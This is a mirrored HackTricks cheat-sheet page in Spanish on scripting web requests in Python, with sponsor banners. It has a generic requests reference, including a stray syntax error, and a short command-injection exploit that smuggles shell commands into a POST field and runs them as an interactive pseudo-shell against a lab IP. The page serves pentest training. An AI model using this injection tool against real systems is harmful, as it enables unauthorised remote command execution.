mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-18 15:08:29 +00:00
137 lines
7.1 KiB
Markdown
137 lines
7.1 KiB
Markdown
|
# Solicitudes web
|
||
|
|
||
|
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
|
||
|
\
|
||
|
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas** del mundo.\
|
||
|
Obtenga acceso hoy mismo:
|
||
|
|
||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Solicitudes de Python
|
||
|
```python
|
||
|
import requests
|
||
|
|
||
|
url = "http://example.com:80/some/path.php"
|
||
|
params = {"p1":"value1", "p2":"value2"}
|
||
|
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
|
||
|
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
|
||
|
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
|
||
|
|
||
|
#Regular Get requests sending parameters (params)
|
||
|
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)
|
||
|
|
||
|
code = gr.status_code
|
||
|
ret_headers = gr.headers
|
||
|
body_byte = gr.content
|
||
|
body_text = gr.text
|
||
|
ret_cookies = gr.cookies
|
||
|
is_redirect = gr.is_redirect
|
||
|
is_permanent_redirect = gr.is_permanent_redirect
|
||
|
float_seconds = gr.elapsed.total_seconds() 10.231
|
||
|
|
||
|
#Regular Post requests sending parameters (data)
|
||
|
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
||
|
|
||
|
#Json Post requests sending parameters(json)
|
||
|
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
||
|
|
||
|
#Post request sending a file(files) and extra values
|
||
|
filedict = {"<FILE_PARAMETER_NAME>" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
|
||
|
pr = requests.post(url, data={"submit": "submit"}, files=filedict)
|
||
|
|
||
|
#Useful for presenting results in boolean/time based injections
|
||
|
print(f"\rflag: {flag}{char}", end="")
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
##### Example Functions
|
||
|
target = "http://10.10.10.10:8000"
|
||
|
proxies = {}
|
||
|
s = requests.Session()
|
||
|
|
||
|
def register(username, password):
|
||
|
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
|
||
|
return resp
|
||
|
|
||
|
def login(username, password):
|
||
|
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
|
||
|
return resp
|
||
|
|
||
|
def get_info(name):
|
||
|
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
|
||
|
guid = re.match('<a href="\/info\/([^"]*)">' + name + '</a>', resp.text)[1]
|
||
|
return guid
|
||
|
|
||
|
def upload(guid, filename, data):
|
||
|
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
|
||
|
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
|
||
|
return guid
|
||
|
|
||
|
def json_search(guid, search_string):
|
||
|
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
|
||
|
return resp.json()
|
||
|
|
||
|
def get_random_string(guid, path):
|
||
|
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||
|
```
|
||
|
## Comando de Python para explotar una RCE
|
||
|
```python
|
||
|
import requests
|
||
|
import re
|
||
|
from cmd import Cmd
|
||
|
|
||
|
class Terminal(Cmd):
|
||
|
prompt = "Inject => "
|
||
|
|
||
|
def default(self, args):
|
||
|
output = RunCmd(args)
|
||
|
print(output)
|
||
|
|
||
|
def RunCmd(cmd):
|
||
|
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
|
||
|
r = requests.post('http://10.10.10.127/select', data=data)
|
||
|
page = r.text
|
||
|
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
|
||
|
if m:
|
||
|
return m.group(1)
|
||
|
else:
|
||
|
return 1
|
||
|
|
||
|
|
||
|
term = Terminal()
|
||
|
term.cmdloop()
|
||
|
```
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
|
||
|
\
|
||
|
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||
|
Obtén acceso hoy mismo:
|
||
|
|
||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|